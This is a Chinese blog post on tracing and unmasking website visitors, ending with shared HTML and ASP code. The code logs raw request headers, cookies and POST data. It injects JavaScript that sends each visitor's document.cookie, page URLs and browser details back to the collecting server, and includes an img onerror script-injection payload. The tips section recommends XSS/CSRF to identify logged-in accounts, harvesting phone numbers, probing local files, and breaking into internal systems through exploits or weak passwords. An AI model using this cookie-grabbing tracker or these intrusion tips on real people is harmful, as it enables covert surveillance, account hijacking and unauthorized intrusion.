前言

博主有英雄情结喜欢打抱不平,遇到网络灰产总忍不住想小试身手,有时候需要你想追踪溯源访客真实身份(含钓鱼)追踪溯源就成了一个比较重要的环节,刚好看了核总的一些思路结合自己看法我们就谈谈定位。


信息元素

1、收集信息范围主要包含以下:

  • 访问时间
  • 访问方法(GET/POST/HEAD
  • 访客 IP 地址
  • 访客使用的端口
  • 访客操作系统类型(User-Agent)
  • 原始 HTTP 头(UTF8-URL 编码)
  • 原始 Cookies 数据
  • 原始 POST 数据
  • 原始 GET 数据

2、客户端浏览器JS脚本二次深度收集:

  • href(document.location.href)
  • top_href(top.location.href)
  • opener((window.opener && window.opener.location.href) ? window.opener.location.href: “)
  • title(document.title)
  • cookie(document.cookie)
  • referer(document.referrer)
  • screen(screen.width + ‘*’ + screen.height)
  • user-agent(navigator.userAgent)
另外原始HTTP(S)头中包含了更详细的系统信息,有完整的代理链路以及代理后的真实IP地址

例如字段:

  • Client-IP
  • True-Client-IP
  • X-Client-IP
  • X-Forwarded-For
  • X-Forwarded-Host
  • X-Originating-IP
  • X-Real-IP
  • X-Remote-Addr
  • X-Remote-IP

番外

结合常年工作关系列一些我常用的关键点:

  1. 网站可以通过Whois信息,同IP查询(可以多测试一些网站),灵活运用骚操作。
  2. 利用 res:// 协议刺探客户端文件信息、检测客户端环境、是否安装360、杀毒软件、某些系统文件等。
  3. 使用 HTML5 Canvas 计算客户端浏览器唯一指纹、指纹跟踪。
  4. 利用各大社交、购物、视频、ISP 运营商等网站的 cookies、xss、csrf、json 定位用户登录的账号信息。
  5. 还可以抓取访客手机号、QQ号。
  6. 获取内网 IP 地址、Mac 地址、硬件信息、刺探内网资源。
  7. 使用SJ利用漏洞或弱口令入侵内网 Windows 系统、Linux 系统、工控设备、路由器、摄像头、交换机等其他智能设备,高级渗透、反向入侵。
  8. 如果目标用户是移动客户端的话(例如微信或手机浏览器等),还可以尝试 HTML5 中新加的地理位置功能(Geolocation API)进行详细定位,获取精准 GPS 经纬度坐标信息。(微信之前有这种功能的定位公众号,生成一个需要的新闻,然后你发给别人别人惦记会提示需要定位权限,如果对方允许了,公众号后台即可看到坐标)

脚本分享

index.html

<title>Test 测试</title>
<body>
<!--
<img src="#" onerror="x = document.createElement('script');x.src = 'js.asp';document.body.appendChild(x);" />
-->
</body>
<script type="text/javascript" src="js.asp"></script>

<a href="#" onclick="window.open('index.html', '_blank');">opener</a>

<script type="text/javascript">
document.write('<a href="http://localhost/?'+Math.floor(Math.random() * 999999 + 1)+'#'+Math.floor(Math.random() * 999999 + 1)+'">http://localhost/</a>')
</script>

js.asp

<%
'On Error Resume Next

' 记录日志
savelog()

' 没有参数则输出 js 代码,收集更详细的信息
if request("href") = "" then
    outputjs()
end if

'---------------------------------------------------------------------------------------------------

public function outputjs()
    response.clear
    response.addheader "Content-Type", "application/javascript"
%>
(function() {
    var u = '//<%=Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")%>' +
            '?href=' + encodeURIComponent((function() {try {return document.location.href} catch(e) {return ''}})()) +
            '&top_href=' + encodeURIComponent((function() {try {return top.location.href} catch(e) {return ''}})()) +
            '&opener=' + encodeURIComponent((function() {try {return (window.opener && window.opener.location.href) ? window.opener.location.href: ''} catch(e) {return ''}})()) +
            '&title=' + encodeURIComponent((function() {try {return document.title} catch(e) {return ''}})()) +
            '&cookie=' + encodeURIComponent((function() {try {return document.cookie} catch(e) {return ''}})()) +
            '&referer=' + encodeURIComponent((function() {try {return document.referrer} catch(e) {return ''}})()) +
            '&screen=' + encodeURIComponent((function() {try {return screen.width + '*' + screen.height} catch(e) {return ''}})()) +
            '&user-agent=' + encodeURIComponent((function() {try {return navigator.userAgent} catch(e) {return ''}})());
    if (document.body != null) {
        var x = document.createElement('script');
        x.src = u;
        document.body.appendChild(x);
    } else {
        document.write('<scr' + 'ipt src=\'' + u + '\'></scr' + 'ipt>');
    }
})();
<%
    response.end
end function

public function savelog()
    ' 记录日志,格式:时间,方法,访客IP,访客端口,系统类型,原始HTTP头(UTF8-URL编码),Cookies数据,原始POST数据,原始GET数据
    dim fso
    set fso = server.createobject("scripting.filesystemobject")
    set file = fso.opentextfile(server.mappath(".\cf3a7c3e_" & year(date) & month(date) & day(date) & ".txt"), 8, true)
    file.writeline now & vbtab & _
                   request.servervariables("request_method") & vbtab & _
                   request.servervariables("remote_addr") & vbtab & _
                   request.servervariables("remote_port") & vbtab & _
                   request.servervariables("http_user_agent") & vbtab & _
                   server.urlpathencode(request.servervariables("all_raw")) & vbtab & _
                   request.cookies & vbtab & _
                   request.form & vbtab & _
                   request.querystring
    file.close
end function
%>
Last modification:October 22nd, 2019 at 02:58 am
If you think my article is useful to you, please feel free to appreciate